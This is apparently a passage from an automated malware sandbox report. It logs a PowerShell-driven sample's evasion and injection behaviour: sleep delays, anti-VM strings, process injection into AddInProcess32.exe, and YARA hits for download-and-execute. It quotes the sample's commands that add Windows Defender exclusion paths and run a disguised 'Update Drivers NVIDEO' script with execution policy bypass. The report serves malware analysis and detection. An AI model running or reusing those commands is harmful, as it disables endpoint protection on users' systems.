                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                      Malware Analysis System Evasion

                      barindex
                      Yara detected AntiVM3
                      Source: Yara matchFile source: 00000006.00000002.2268735686.000002AE00222000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7136, type: MEMORYSTR
                      Delayed program exit found
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040F7E2 Sleep,ExitProcess,22_2_0040F7E2
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,22_2_0041A7D9
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1232Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1838Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3544Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6299Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7968Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1398Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8261Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1097Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1956Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 357Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1241Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWindow / User API: threadDelayed 2359
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWindow / User API: threadDelayed 7056
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWindow / User API: foregroundWindowGot 1768
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1107
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 606
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeAPI coverage: 6.2 %
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6392Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5676Thread sleep count: 3544 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5676Thread sleep count: 6299 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4864Thread sleep time: -22136092888451448s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1016Thread sleep count: 7968 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4568Thread sleep time: -7378697629483816s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5376Thread sleep count: 1398 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5864Thread sleep count: 8261 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4560Thread sleep time: -4611686018427385s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4412Thread sleep count: 1097 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5648Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7240Thread sleep count: 1956 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7228Thread sleep count: 357 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7272Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7260Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640Thread sleep count: 1241 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628Thread sleep count: 182 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604Thread sleep time: -30000s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7824Thread sleep count: 168 > 30
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7824Thread sleep time: -84000s >= -30000s
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7828Thread sleep count: 2359 > 30
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7828Thread sleep time: -7077000s >= -30000s
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7828Thread sleep count: 7056 > 30
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7828Thread sleep time: -21168000s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000Thread sleep count: 1107 > 30
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984Thread sleep count: 98 > 30
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964Thread sleep time: -30000s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012Thread sleep time: -1844674407370954s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5960Thread sleep count: 606 > 30
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7088Thread sleep count: 97 > 30
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164Thread sleep time: -30000s >= -30000s
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1656Thread sleep time: -1844674407370954s >= -30000s
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,22_2_0040928E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,22_2_0041C322
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,22_2_0040C388
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,22_2_004096A0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,22_2_00408847
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00407877 FindFirstFileW,FindNextFileW,22_2_00407877
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0044E8F9 FindFirstFileExA,22_2_0044E8F9
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,22_2_0040BB6B
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,22_2_00419B86
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,22_2_0040BD72
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,22_2_00407CD2
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                      Source: powershell.exe, 00000004.00000002.3114024444.000001D749E50000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73305A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmtoolsd
                      Source: powershell.exe, 0000000D.00000002.2767157518.0000020B77A31000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllA
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"
                      Source: powershell.exe, 00000004.00000002.3114179686.000001D749ED0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,22_2_00434A8A
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,22_2_0041CBE1
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00443355 mov eax, dword ptr fs:[00000030h]22_2_00443355
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004120B2 GetProcessHeap,HeapFree,22_2_004120B2
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,22_2_0043503C
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,22_2_00434A8A
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,22_2_0043BB71
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00434BD8 SetUnhandledExceptionFilter,22_2_00434BD8

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      Yara detected Powershell download and execute
                      Source: Yara matchFile source: amsi64_3700.amsi.csv, type: OTHER
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 4040, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3700, type: MEMORYSTR
                      Adds a directory exclusion to Windows Defender
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;Jump to behavior
                      Bypasses PowerShell execution policy
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1"
                      Injects a PE file into a foreign processes
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A
                      Writes to foreign memory regions
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 815008Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: C5D008
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 6D7008
